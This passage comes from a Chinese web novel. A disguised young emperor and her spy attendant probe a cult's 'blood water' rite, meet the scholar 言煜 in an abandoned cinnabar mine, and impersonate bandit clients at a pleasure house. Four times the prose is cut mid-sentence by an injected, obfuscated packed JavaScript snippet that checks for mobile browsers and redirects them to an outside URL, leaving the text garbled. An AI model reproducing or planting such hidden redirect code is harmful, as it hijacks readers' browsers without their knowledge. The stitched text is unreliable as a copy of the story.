孤弈行身着的这一身玄衣并无过多花纹修饰,只以皮带束腰,却与其高束的长发在气质上极为相配,显得干净利落,还真有些江湖中人的味道来。 五日后,孤弈行与琴潇到达燕地。 此时岁暮天寒,燕地更是雪飘如絮,寒气逼人,但这并不妨碍此地气候干燥,因而坊间自古就有一传闻。 传闻一个读书人久居气候温润的江南,千里迢迢到达燕地住了几日便皮肤皴裂,判若两人。虽说这是有些夸张的说法,但是燕地气候恶劣却是古来不争的事实。 然而孤弈行却不以为然,只因祁地与燕地接壤,气候大差不离,因而她早就习以为常,心想着反正她从小就是皮糙肉厚地滚大的。 孤弈行凭借三寸不烂之舌很快就在城门检查中蒙混过关,于是悠哉悠哉地进了城。 进入城中,孤弈行与琴潇不再策马而行,而是翻身下马,牵马步行。 孤弈行不紧不慢,继续东张张西望望,最终目光钉在一家卖糖葫芦的小店铺上不走了。 孤弈行于是大摇大摆地凑了过去,笑得肆意:“老板,来两串糖葫芦。” 琴潇的眼睛一下子亮了,忍不住吞了吞口水。 她虽然早就想尝尝这燕地的糖葫芦,碍于地位的差异,只好作罢。但她没想到的是,孤弈行竟然时时刻刻惦记着她,这使她不禁心头一暖。 “好嘞!”那摆摊的小老头吆喝着。他手脚很麻利,因此没多久两串亮晶晶红彤彤的糖葫芦就落在了孤弈行手上。 “你的。”孤弈行把其中一串递到琴潇手里,一双桃花眼笑起来时总是流露出若隐若现的风流。 “多谢……”琴潇顿了一顿,硬生生的把那两个就要说出口的“陛下”吞到了肚子里,改口道,“谢谢小姐。” 孤弈行给了那小老头十文钱,然而这显然已经超过了两串糖葫芦本身的价格,她咬了一口糖葫芦,抬眸道:“我们二人初来乍到,不知燕地有什么好玩的事或地方?” 那小老头收了钱,正满心欢喜,自是知无不言,言无不尽:“您这就问对人了,我在这儿生,在这儿长,这儿的事儿就没有我不知道的。” 他将十文钱收入袋中,继续道:“其实要说好玩的地方,不过也就是花楼酒坊那几处吧!” 琴潇已经被那小老头说无语了,偏生孤弈行似乎极有耐心,一边听着还一边点点头表示认可,随即一颗糖葫芦又下了肚。 就在这时,小老头的神情突然显出几分神秘:“不过要说值得一看的事,明日的天神礼或可一看。” “哦?何为天神礼?”孤弈行停下手中的动作,挑了挑眉。 “我们这儿的大多数人信奉天神,明日便是一年一度的祭祀大典,不少人都会聚集到燕水河畔,祭拜天神。祭拜者还要饮一杯血水,由此便算接受天神的庇佑。” “明白了,多谢。”孤弈行扬长而去,却微微皱眉,若有所思。 琴潇显然有些被搞糊涂了,放下手中咬了一半的糖葫芦,追问道:“小姐,您真要去看什么天神礼吗?我看就是当地一个有些诡异宗教罢了,与我们要查的东西并无什么关系啊!” “诶?诡异这词你可就说对了。”孤弈行转过身来,笑着眯眯眼,一双自带风流的桃花眼闪过一丝神秘的气息,不可言说。 然而就在下一刻,孤弈行眼眸中半明半昧的神色荡然无存,直接大大咧咧地搭上琴潇的肩膀,笑道:“反正如今无线索可寻,闲着也是闲着,就当去看个热闹!” 或许是出于心底生根发芽的崇拜,琴潇就这般轻易地被说服了。 第二日,燕水河畔。 孤弈行二人走了半天都没看到那小老头说的祭祀大典,琴潇首先有点沉不住气了:“小姐,您说那小老头是不是骗您的,这……走了这么久,哪里有什么……” 话还没说完,孤弈行就比了一个噤声的手势,琴潇立马不说话了。等到她抬头,还果真看到了有些奇异的一幕。 寂静的燕水河畔顿时烛光摇曳,烟雾缭绕。 一群男子身着色泽艳丽的棕黄色长袍,脖子上缀着层层叠叠的金铃,每走一步,都发出沙沙的声响。 他们一边手持金色祭器,围绕祭坛疯狂舞动,一边低着头,仿佛虔诚地吟诵着什么古老的咒语。 孤弈行循着那群男子站立的地方望去,被供奉在金碧辉煌的架子上的金色人面尽收眼底。 那人面顶着与众男子手持木棍上图案一般无二的牛角,头戴面具,只露出两个白色的眼仁,看着却有几丝瘆人。 更瘆人的是,一群男女老少挤着去争抢着什么,孤弈行不用看,也知道这抢夺的必然是象征着接受天神庇佑的血水。 孤弈行没等琴潇反应过来,就只身挤入人群,在众目睽睽之下拿着一杯传说中的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828719|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水一饮而尽,这才退了出来。 “小姐!”琴潇几乎要叫出来了。可就在这时,她看到孤弈行背过身,把那含在口中的血水吐了出来。 孤弈行勾了勾嘴唇,擦干了唇角的残余,蹲下身观察着地上的红色液体:“只腥不甜,不是人血。看这颜色,倒像是朱砂,却又感觉不只是朱砂。” 琴潇看了眼自家这位有点魔怔的主子,叹了口气。 “燕地有几座朱砂矿?”孤弈行突然问道,随即又皱了皱眉,“不对,官府的朱砂矿在面上都有比较详细的记载,动手脚的难度要大得多。” “查查燕地废弃的朱砂矿的位置。”孤弈行抬眸,若有所思。 “是!”琴潇得令,随即亦飞快的速度消失得无影无踪。 孤弈行拍了拍衣袖,笑意张扬,似乎一切都把握在股掌之中,低低地道,神色微佻:“说不定老天就是见不得我闲着,倒是踏破铁鞋无觅处,得来全不费工夫呢?” 一日后,那些守卫在暗处的旭风营高手果然带来了令人满意的消息。 据说,当地确有一废弃的朱砂矿,就在燕地曾经的都城蓟城外西郊二十里的地方。孤弈行听闻后即刻动身,当日就到达了那废弃的朱砂矿外。 已至子夜,夜色愈浓,远远望去,矿洞内漆黑一片,似乎毫无生气。孤弈行拿了一支并不算太大的火把,走到矿洞口,却蹲了下去。 “小姐,这荒郊野岭的,有什么可看的啊?” 琴潇小声嘀咕着,殊不知孤弈行已经在心里暗暗地叹了好几口气了,要说这傻姑娘好歹也是干过蛰伏多年的间谍,怎么一到自己这儿就天真得吓人呢? 孤弈行将火把放得离地面更近了些,看到成片的绿色植物,然而这些植物看上去虽不太起眼,却也不像是普通的青草。 那植物的茎细长,却生有尖锐的棱角,看上去一个个倒钩,让人难以靠近。 “没什么,走吧。”孤弈起了身,先行一步进入了这座废弃的朱砂矿。 出乎孤弈行意料的是,这座朱砂矿里的路却十分难走,不仅是因为地上多是散乱的砂石,更因为里面的岔路比孤弈行想象得要多得多。 “做好标记,跟紧了。”孤弈行小声地说。她明白,按照目前的情况来看,这座朱砂矿应该足够深。 “是。”在孤弈行的提醒下,琴潇拿起一块尖锐轻薄的石片,在墙壁上用力地做了一个标记。 孤弈行也不知走了多久,竟走得有些口渴了,肚子也有些饿了,她正想转身问问琴潇身上有没有吃的,却见岔口处因为微弱的烛光显出一个模糊不清的人影。 孤弈行立马做了一个噤声的手势,她紧贴着墙壁,无声地靠近岔口。 这次她看得更清晰了些,岔口背后的人影也顿了一顿,似乎也察觉到了她们的存在。 孤弈行将仗天剑抽出剑鞘,这把剑长三尺,通身以血铜打造的长剑在孤弈行手中竟显得格外得心应手,整个动作没有发出一丝声响。 孤弈行向来是个喜欢先发制人的主儿,这次也不例外。她移动的速度极快,琴潇都没有看清她的动作,便以听见岔口传来的兵器相撞的声音。 在火光的照应下,孤弈行很快就看清了来者的模样。 面前的男子生着一双极为庄重的凤眼,眼尾微微上扬,流露出孤弈行再熟悉不过的风流。此人不是别人,正是言煜。 言煜自然也发现来者是孤弈行,但二人似乎都并不惊讶。 “我想是谁,原来是言公子。”孤弈行的嘴角微微上扬,露出一抹意味深长的笑容,与言煜对视,“不过我很好奇,言公子为何会出现在此处?” 8. 相遇 “难道不是……你想让我来的吗?”言煜浅笑,一举一动看上去皆温润如玉,唯有眼眸深沉,仿佛凝着一层薄雾,令人看不出一丝波澜。 出门在外,言煜自知孤弈行不愿意暴露自己的真实身份,以免引起不便,因而直接顺着孤弈行的口吻以你我相称。 然而这突如其来的直白话语听上去却不像是言煜往日的风格,因而被当场戳破心思的孤弈行竟觉得脸上有些挂不住。 但孤弈行扪心自问好歹自己也是从死人堆里摸爬滚打出来的人儿,又岂会被一句话呛得说不出话来?她可不是个愿意甘拜下风的主儿。 “言公子不在官府谋职,不靠官府的门路,又是如何找到此处且比我快一步的呢?” 说到这里,孤弈行也不得不佩服自己的聪明才智。她笑容肆意,眉眼张扬,但话里话外无一处不含试探。 言煜的眸色似乎沉了些,眼眸深处仿佛藏这一处幽静的深潭,虽令人看不起神色,但孤弈行莫名地感觉到一分忧郁。 显然,他是不愿意说的,要是换作别人,孤弈行可能还会因为一丝怀疑威逼利诱,但面对面前此人,她却不会。 因为孤弈行明白,像言煜这般忧国忧民之人定然不能与那些心怀鬼胎的奸臣相提并论,不愿开口或许是因为触碰到了他最脆弱的地方。而言煜也正是看到了这点,才会在孤弈行面前选择沉默。 琴潇在一旁原来看着这两人一来一回,正看得津津有味。 她一直听说言煜是个文弱贵公子,但没想到他的武功竟这般好。再看到面前这两人交谈的情形,竟觉得出奇得相配。 琴潇一向喜欢话本子,此时脑袋里已经开始脑补无数篇文章,这突然来了一个久违的沉默,倒把琴潇搞得有些不适应,心猛地提到了嗓子眼。 “不说就不说吧。”孤弈行活跃了一下气氛,轻声说了一句,“对不起啊。” 言煜几乎是被孤弈行逗笑了,他没想到孤弈行作为一介帝王竟会在这个敏感的问题上和他道歉,还是在他什么都没说的情况下。 “我什么都没说,你为何要向我道歉?” “直觉。”孤弈行故作神秘地道,随即大笑。 笑着笑着孤弈行突然想到什么,转过身面对琴潇,正色道:“我们进来已有些时辰,你循着留下的标记原路返回,告诉他们一切如常,切勿轻举妄动。” 然而话本子里的知识却没在生活里给琴潇带来太多的启发,她还是一脸的困惑,心想连她都知道旭风营的高手没有命令是绝不会轻举妄动的,这一点孤弈行又岂会不知? “可是小姐……” 琴潇话还没说完就被孤弈行打断了,还给她使了个眼色:“军令如山。” “不可违背!属下这就去!”刻在骨子里的记忆突然被唤醒,琴潇几乎是立刻接下命令,二话不说就转身离去了。 孤弈行叹了口气,心想着总算把这傻丫头支开了。然而好景不长,孤弈行刚想专心走路,就感觉腹中空空,一阵咕咕作响,不过还好声音很轻,想来应该只有她自己一个人听到。 孤弈行屏了屏气,潇洒而又镇定地转了身,嘴角微微上扬,露出一抹不怀好意的笑来:“言公子有带吃的么?” 言煜看着她这般模样,竟也忍不住浅笑,刚才略显紧张的气氛顿时扫荡一空。 言煜从衣袖中取出一块用油纸包着的色泽金黄的椭圆形的点心,递到孤弈行手上。 “只有这个了,你勉强尝尝吧。” 什么勉强!一点都不面前好吗! 孤弈行简直不敢相信自己的眼睛,这是油糕,是祁地的特色点心,也是孤弈行割舍不掉的心头好。 出门在外,正好给了孤弈行一个不用遵守宫里礼仪的完美理由,虽然就算是在宫里,她也未必会遵守。 孤弈行直接捏着油纸咬了一大口,色泽金黄的外皮夹杂着甜糯的内心在舌尖弥漫,虽然有些凉了,外皮变得不再酥脆,但如今这处境,有一口吃的已是极好,其他便是无关紧要。 又咬了一口,孤弈行僵住了片刻的思绪才动了起来,但她却发现了一个有些不对劲的地方。 普通人赶路不应该带些好保存的干粮,比如馒头什么的吗?面前这人竟然会随身携带油糕?这就有点奇怪了吧。孤弈行一边吃一边抿了抿嘴唇,心里细细盘算着两种可能。 第一,就是言煜确实是个贵公子,出门在外也要奢侈一下,不过这种可能性不太大。第二,就是他是有意的,他早就料定了一定会遇到她。 孤弈行盘算来盘算去,愉快地认定了第二种,想来言煜有着一副玲珑心肠自己又不是第一天知道,再鬼精也不奇怪! 一块油糕干吞着下了肚,孤弈行抬眸恰好撞上了言煜有些犹豫的神色。言煜有意无意地轻声咳嗽了一下,道:“出门在外,小姐应该如何称呼?” 孤弈行没想到言煜竟是在琢磨这事,不过细细想来好像也有点道理。出门在外,为了掩盖身份,他总是不好直言陛下的,但总是以你我相称似乎也有那么一些些……别扭。 言煜往前走,孤弈行跟在他后面。她的眼尾微微上扬,一双桃花眼流露出一种似有若无的风流,却是将情绪的一丝波动悄然掩盖了起来:“骆川。” 言煜转过身来,静静地望着她。 孤弈行似乎早就猜到他要问什么,自己直接就说了:“我母后姓骆,这是我的小名,除了父王母后还有我,没人知道。” 言煜点点头,一双凤眼已然是一如既往的优雅矜贵,不过眼底神色不明。 没等他转过身去,孤弈行便走到了他身旁,期待地追问:“你小名叫什么?” “我没有小名。”言煜唇色如玉,言语之间不紧不慢。 “这样啊……”孤弈行没有得到想要的答案,桃花眼深处闪过一丝失望,但她很快又把刚才的失望抛之脑后,笑容张扬,“这有什么关系?我给你取一个不就是了!” 孤弈行思索了一会儿,做了个打响指的动作:“秦焕!怎么样?” 秦焕。言煜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828720|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心中默念着这个名字,刚想问其由来,嘴角却忍不住微微上扬。 言煜,言焕卿,秦焕。言煜不得不佩服这三个名字的异曲同工之妙,不过这随意颠倒潦草取名的功夫她孤弈行绝对是第一人。 言煜抿了抿唇,继续拿着火光快要熄灭的火把摸索着往前走去。突然,不远处传来一阵细微的声响,言煜灭了火把又下意识地伸手去挡孤弈行。 孤弈行自然也听到了前方的动静,和言煜一起压低了身面。 然而,孤弈行的手背处却传来一丝凉意。孤弈行低下头,却看见言煜指节分明的右手覆在自己的手背上,是熟悉的温度。 孤弈行挑了挑眉,静下心来便听见不远处的两个人的交谈声。 “把牛髁草碾成汁掺杂在血水里,如今那些老百姓有了力气,果然都主动进寨子搬货卖力气了,大当家这一招实在高!” 其中一个青年男子声音尖细,言语之间不乏谄媚。 “对了,那些客人都安排得怎么样了?”被尊称为大当家的中年男子的声音低低响起。 “大当家放心,其中两位老主顾也都在青衣楼安排妥当了,待一切就绪便可上山。” 那中年男子不再作声,随后二人的脚步声越来越远,逐渐消失。 火把已灭,山洞之中格外昏暗,几乎没有一丝光亮。 言煜转过身,才意识到方才情急之下自己为了拦她,竟将右手覆在了她的手背之上。 他愣了一下,迅速将手抽回,向来不知浅深的凤眼深处似有微波浮动。 然而就是这一处细节,落在孤弈行眼中,心中便不由自主生出了挑逗的小九九。 “位于洛阳风流才子之首的秦公子竟会怕这个?” 孤弈行嘴角忍不住微微勾起,一双桃花眼风流尽显,笑容张扬肆意。然而这一番话,落在聪明人耳中,又是别有一番意味。 “姑娘说笑了。”言煜倒也不欲辩解,只是浅笑。 孤弈行原想着他定会辩驳一番,却没想到只给出了这么一番说辞便敷衍过去。 于是,孤弈行好不容易在与面前这位鬼精的聪明人周旋之中占了上风,心情自然很是不错。 “不过话说回来,何为牛髁草?”孤弈行道。 “你可还记得矿洞外成片的绿色植物,其茎细长,其上长有倒刺?” 没有了火把,返程的路便多了几分困难。言煜主动走在了孤弈行前面,步伐不大,十分警惕。 “莫非那些就是牛髁草?”孤弈行边走边问,却惊奇地发现面前这人走在铺满碎石的路上竟也能不发出一点动静,其轻功之高强可见一斑。 莫非这人是属猫的?孤弈行如此一想,几乎快要忍不住笑出声来。 面前的人似乎听到了她发出的一点动静,转过身来看她。她也丝毫没有做贼心虚的意识,仰着头便直直地与他对视。 论起气势,可谓是分毫不让! “不错。”他似是猜到了什么,嘴角不自觉微微勾起。 9. 默契 “牛髁草是一味草药,相传可补肝肾,强腰膝。”言煜道。 “原来如此。只是就算这草药再有奇效,仅仅一碗也很难做到立即见效吧?” 孤弈行微微颔首,却似又想到了些什么,眉头紧锁,露出一抹难以言明的表情。 “除非……” “除非是通过精心研制,加足了剂量。”言煜接过她的话,似乎他早已料到。 “那你说如果我尝了一下,会不会也变成他们那样?” 孤弈行回忆起那碗只腥不甜的“血水”的滋味来,顺嘴说了一句。没成想她自己根本没有当回事,而说话一向和风细雨的言煜却是突然提高了音量。 “你说什么?你尝过?” 言煜猛地停下脚步,转过身来,孤弈行差点没直接撞上去。 她抬眸便望见那双矜贵的凤眼,只是他眼眸深处仿佛隐了一层不明的情绪,令人看不清浅深。 被他这么一看,倒好像自己做了什么坏事似的。实际上,自己也不过是为了早日破案做出了一点小小的牺牲而已嘛!孤弈行心里嘀咕着。 “当时想要找线索,情急之下才这么做的。不过没喝没喝,吐出来了。” 孤弈行第一次被他瞧得发愣,话还没过脑子便下意识地开始解释。说着说着,她还回了一个张扬的笑容。 言煜似乎松了一口气,紧锁的眉头舒展了一些,却只是转过身,无奈地丢给了她一句:“简直胡闹!” 这下倒弄得孤弈行心里不爽了,想着面前这人竟还教育起她这个皇帝来了!这一点,倒是和他那个爹怪像的。 不过越是细想,孤弈行越是觉得有些不对。她刚才分明是看他有些怒了,莫非…… “你不会……是在担心我吧?” 孤弈行挑了挑眉,风流的桃花眼底流露出骄傲的神色,言语之间却不乏试探。 然后此言一出,面前男子的身形顿了一顿,动作几乎已经微不可见,却还是被孤弈行尽收眼底。 “关心龙体,是我朝每一个子民的本分。” 男子的声音低沉,也很好听,然后这句话落入孤弈行耳中总觉得怪严肃了些。 弄得她好像是个七老八十的糟老头子,摔一跤就要一命呜呼的那种!孤弈行心想:这人真是冥顽不灵,无趣得很! “接下来打算怎么做?”孤弈行也不欲与面前这个人纠结之前的问题,干脆单刀直入。 “目前的线索便只有刚才那人口中提到的青衣楼。或许我们可以先掌握那两位老主顾的信息,来一个偷梁换柱。” 孤弈行忍不住啧啧嘴:瞧瞧!这人坏吧!不过倒和她挺有默契的,是个人物! “不错,出去之后我会让琴潇去探明此二人身份。如果顺利的话,明日便可前往青衣楼。” 孤弈行正说着,便看见不远处的地方透着几缕微光,看来距离洞口已经不远了。 二人都是练过武之人,脚力要比一般人强得多,故而一晃眼的功夫便走出了洞口。 洞口外,琴潇与旭风营众高手已经静候多时。 琴潇一看到孤弈行,直接激动地冲了上来,整日的疲惫一扫而空:“小姐,你总算出来了!” 孤弈行点点头,肆意一笑,为的是让这傻丫头放下心来。 “客栈都安排好了?” “都安排好了!”琴潇道。 “传我令去调查一下与南风寨有过交易的人,再去探探青衣楼最近都住了些什么人。” 孤弈行勾了勾唇,思量了一番,一双桃花眼似能看透一切。 “是!”琴潇回答干脆,随后转过身对身后的暗卫低声说了一句,大半暗卫便四散开来,消失在暗夜之中。 孤弈行正欲跟着琴潇前往客栈,走了两步,好像想到了自己旁边还站着个人,便停下脚步,笑意张扬。 夜色已浓,一缕月色却在此刻不偏不倚地落在女子的眉眼之间,桃花眼深处顿时仿佛暗流涌动,风流尽显,格外勾人。 言煜一时微微发愣。 “秦公子今晚有什么打算?”她笑着,仿佛不欲给他任何退路,“若是没有,不如与我一同前往,彼此之间也好有个照应。” “不……”深受四书五经的熏陶,他定了定神,终归是想要推辞,却被一只手揽过了肩膀,毫不讲理地携着往前走。 他侧过身,便撞入一双眼眸,清澈透亮,又似泛着粼粼微光,恍若星河。 她肆意笑着,笑容区别于青涩女儿家的含蓄扭捏,更像是久经沙场,杀敌无数的将军,笑意之间不经意地流露出几分豪爽与少年意气。 言煜身形颀长,因而孤弈行的头顶也才刚过其下颚,像军营里一般揽起肩膀来自然整个人像吊着一般,不甚舒服。 走了一会儿,孤弈行才反应过来,把那只不安分的手抽了出来,把自己都逗笑了:“在军中习惯了,不要在意。” 言煜浅笑,举止依旧是一如既往的令人挑不出差错,然而外表之下藏着的那颗心却似乎不如表面那么平静。 次日一大早琴潇便收到了消息,站在孤弈行房外,敲了敲门。她原本还在想孤弈行会不会还在休息,却没想到里面传来了一声“进”。 琴潇推门而入,发现孤弈行早就起了,正斜斜地靠在椅子上,翘着二郎腿,乍看之下神情还格外悠闲。 “小姐所料不假,方才暗卫来报青衣楼昨日住进了一男一女,而此二人恰好是南风寨的老主顾,目前二人房间外有两个南风寨的人把守。”琴潇正色道。 “此二人是何背景?”孤弈行沏了一杯茶,轻抿了一口。 “此二人是江湖人士,却也算得上是江南一代有名的富商。男子名为贾岳,女子名为江芸,二人原是一对表兄妹,而后对彼此心生恋慕,做了不体面的事,被家里所不容,便私奔了。” 琴潇脸皮薄,说着说着便红了脸,免不了被孤弈行一阵嘲笑。 “贾岳是一赌徒,却有着逢赌必赢的本事,因而赚了不少钱,也就起了家,自己开了赌场。” “不过二人也绝非善类,据说贾岳多次上门讨债,手段凶残,债主不是被他逼得上吊就是投河,甚至还有一次失手把对方直接砍死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天字号房间可谓是极尽豪华,令人移不开眼,但琴潇毕竟见过京城繁华,因而也并不稀罕。她刚入房间,便听见玉屏风后面传来一低沉男音。 “何人?” “小女子是来给两位客官送些茶水还有衣物的。”琴潇心里冷笑一声,想着传言果然非虚。 里面传来一阵窸窸窣窣的声音。 “进来吧。”熟悉的声音又一次响起。 琴潇定了定神,走了过去,只见屏风后面那方才说话的男人搂着一个女人,气氛好不暧昧。 那男人长着一张还算得上白嫩的脸,只是银质面具遮住了他的眉眼,令人看不分明。 单看其面相倒不像是穷凶极恶之徒,然而那双被遮住的阴鹜的眼却是隐藏了此人的凶险,他正是贾岳。 一旁的女子江芸亦头戴面具,看不分明其长相。她倚在男人的胸前,看上去格外温软。 10. “恃宠而骄” “外面缘何这般热闹?”那女人似是听到了外面的喧嚣,开口问道。 她本是江南人士,又娇生惯养惯了,言语之间不自觉地流露出女儿家的嗲声嗲气,一开口令琴潇不禁起了一阵鸡皮疙瘩,心想:别说是男人了,就是她一个女人也险些招架不住。 “今日是青衣楼一年一度的花魁之夜,因此格外热闹了些。”琴潇答。 “原来如此。” 女人面无表情,倒是一旁的男人神色微动。这一切都被琴潇收入眼底,也与孤弈行的猜想一般无二。 女人似是意识到什么,不时地往男人身上瞟,望见那眼眸深处暗流涌动,顿时眉头染上了一层薄怒:“你难道想去吗?” 那贾岳没说话,眼底却泛起一阵不明的情绪。他随即讨好起身边人来,自是一番温言细语: “我自是不想看那什么花魁的,这世间在我眼里哪里有比芸儿更美的女子?可想着若是能带你去一赏这燕城繁华,也算不悔此行。” 女人被哄得心头泛喜,想着也是这么个道理,便应了下来,开始问琴潇参加花魁之夜的注意事项。 琴潇心里冷笑一声,看上去却依旧面色如常:“公子和姑娘只需穿上这两身衣服,便可参加,祝二位玩得尽兴。” 贾岳点点头,嘴角露出一丝得逞的笑意。琴潇这才退了出去,却是走到了一个角落里,没有走远。 过了一会儿,她便看见二人换上了衣服,贾岳穿上了一件深蓝色刺绣长袍,而江芸则是穿上了一件鹅黄色珠丝长裙,二人依旧戴着面具,携手而行。 二人身后,有人紧紧跟随。 二人前往露天水台之时灯光已起,花魁出场,献舞一曲,魅惑人心,一时间人群变得格外拥挤,那两个土匪很快就被挤了出去,看不到人了。 琴潇借说有给天字号贵客特备的观赏台把那贾岳和江芸引到了一处巷子,等到二人反应过来,已经被其打晕拖走。 孤弈行与言煜已经静候多时,此刻换上了相应的服饰,戴上了二人脸上取下的面具,悄无声息地混入人群,大摇大摆地出现在那两名土匪的视线之中。 “为了确保公子与姑娘的安危,二位还是不要以我们太远为好。”其中一个土匪急出了一身冷汗,喘着气道。 “这光天化日之下,能发生些什么?真是扫兴!”孤弈行学着琴潇教给自己的嗲声嗲气的腔调,说完便顺势靠在男人的怀里,妥妥的恃宠而骄。 那两人不再说话了,就连言煜都一时间微微愣住了。但他也知孤弈行是在演戏,很快掩住了神色,揽过她的肩膀,便向水台的方向而去。 明明只有几步的距离,此刻却是那么遥远。他分明感觉指尖触碰到她肩膀的地方泛起一阵灼热,一直蔓延到他的胸口。 他咳嗽了一声,抬眸却看见她在那二人看不见的地方看他,仿佛在看一出好戏,很是津津有味。 她的笑容明艳,面具之下一双桃花眼风流尽显,似乎想要一探他眼眸深处隐藏的情绪。 他偏过目光,等到再次与她视线相对之时凤眼深处已然隐去了情绪,半明半昧,令人看不分明。 然而只有言煜自己清楚,面具之下的脸庞此刻已似染了烟霞,灼灼发热。 “夫君在看什么?好看吗?” 孤弈行看到那两人跟了上来,很快收回了笑容,言语之间流露出女儿家似有若无的醋意。 “在看芸儿,那花魁哪里有芸儿好看。”言煜自然也听到了身后的动静,揽过她的肩膀,与她对视,言语温和。 孤弈行满意了,不过也懒得被后面两个人盯着继续演戏,便找了个借口和言煜回了房间。 一坐到床上,孤弈行整个人都松弛了下来。她嘴角微微勾起,娴熟地翘起了二郎腿,哪里还见的着刚才一番嗲声嗲气的模样? “怎么样?还不错吧?”孤弈行压低了音量,却是一脸的骄傲。 正说着,她的目光稳稳地落在红木桌上的葡萄上,便移不开了。她随即伸出那罪恶的手,迅速地塞了一颗到嘴里。 言煜看着她浅笑不语。 “也不知道那两人什么时候带我们去南风寨,在这温柔乡里泡着恐怕没多久骨头都软了。” 孤弈行叹了口气,随即又塞了几颗葡萄到嘴里,嘴巴顿时鼓了起来,显得她活像只摇着尾巴的胖头鱼。 言煜被逗笑了,嘴角忍不住微微上扬,心里却莫名很想在她那鼓鼓的脸上捏上一捏。 孤弈行正说着,那两人便推门而入。 言煜似乎意识到自己离孤弈行的距离远了些,恐叫人看出端倪,便很快走过去,捏上了面前女子的脸。 孤弈行似是也一下子没反应过来面前这人的动作,在那两人看不见的情况下朝他眨了眨眼。 “大当家的方才来信,说寨子上已经安排妥当,还请二位明日上山。” “好,麻烦大当家和二位兄弟了。”言煜道。 那二人随即退了出去,带上了门。房间内的气氛顿时有些沉默,又夹杂着些许暧昧。 言煜手上的动作顿了一顿,随即将手自然地放在长袍上。但指尖的温度依旧没有散去,柔软的触感萦绕在他的心头,似乎挥之不去。 就在他微微愣住之时,他看见孤弈行伸出手,解开了他面具上的绳子,半边面具顿时滑落。 “做什么?” “又没人见过他们二人的真实容貌,你还想带着面具睡觉啊?”孤弈行勾了勾唇,说着一把扯下自己脸上的面具,放在床边的红木桌上。 言煜也知是这么个理,只是二人孤男寡女共处一室本就不合规矩,戴上面具尚能遮掩,如今这般却是掩盖不了丝毫情绪。 “可不是我想占你便宜,如今那两人站在外面,谁知道他们什么时候来个突然袭击,不想穿帮的话你还是好好躺在床上吧。” 孤弈行撅了撅嘴,盘腿坐在了床上,静下心来却觉得一阵冷风穿过衣袖,房内的炭火已经难以抵挡愈来愈浓的寒气。 她打了一个哆嗦,下意识地钻到了被子里。 她只看见言煜望了一眼窗外的景象,眸色渐深,低声道:“快要下雪了。” 他平躺下来,看似与孤弈行同床共枕,实际上自觉地隔了一条楚河汉界,不敢有丝毫逾矩。 言煜自幼便一个人习惯了,如今身旁躺了一人自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孤弈行笑笑,伸出手去抓被子,将他严严实实地裹住。她小心翼翼地走下床去,走到炭火边一屁股坐下,搓了搓手。 她从小生长在祁地,又常年行军,而祁地亦是有名的苦寒之地,故而也就养得皮糙肉厚抗冻了些,没想到在此处倒是派上了用场。 她正这么想着,却听到梦中那人呢喃了几声,身体相比之前抖得更加厉害了。 孤弈行连忙轻手轻脚地走过去,凑到他身旁,只听得他好像在叫……婆婆!她抚了抚他的额头,只觉比之前更凉了。 明明被子已经全部叠在他一人身上了,这还不够吗?孤弈行叹了口气,看了一眼身旁面色泛白,丝毫不懂安分的人,无奈地将被子掀开了一个口,从身后环抱住了他。 触碰到深蓝色长袍的那一刻,孤弈行顿时感觉整个人仿佛被关进了冰窖,难熬至极,但过了一会儿,她却似乎有些麻木了。 梦中人没有醒,却仿佛在一片冰天雪地之中感受到了身后传来的一股暖流。 正因为这股暖流的存在,使得这个夜,好像没有以往那么难熬了。 11. 逢场作戏 次日。 言煜素来有早起的习惯,这一日也不例外。他睁开眼,略显惊讶地发现自己昨晚竟睡得还算不错,要知道以往寒疾发作的夜里他都会彻夜难眠。 他正欲起身,却发现自己的腰竟被人紧紧抱住,动弹不得。他的肩膀亦被人靠着,那人的嘴里似乎还呢喃着什么。 他偏过头去,少女的鼻翼便似有若无地扫过他的嘴唇。他的右手微微攥紧,耳根有些红了。 言煜凑近了些,只听到她在说:“不……不冷……不冷。” 言煜微怔。 他随即感觉到她的手还在他的腰部下意识地拍了一下,好像在哄孩子睡觉一样。 这下他自然明白过来,孤弈行昨夜定然是发现他寒疾发作,于是竟用自己的身体给他取暖! 以她如今的身份,这一切都是那么不合常理,却又确实发生了。难道是因为她不仅是青年帝王,更是孤弈行吗? 言煜眸色微动,凤眼深处薄雾散去,似有微光散落,倒映出面前安睡的少女的模样。 若昨日在她身旁的人不是他,换作是其他任何一人,她也会如此吗?想到此处,言煜不知为何愣了一下。 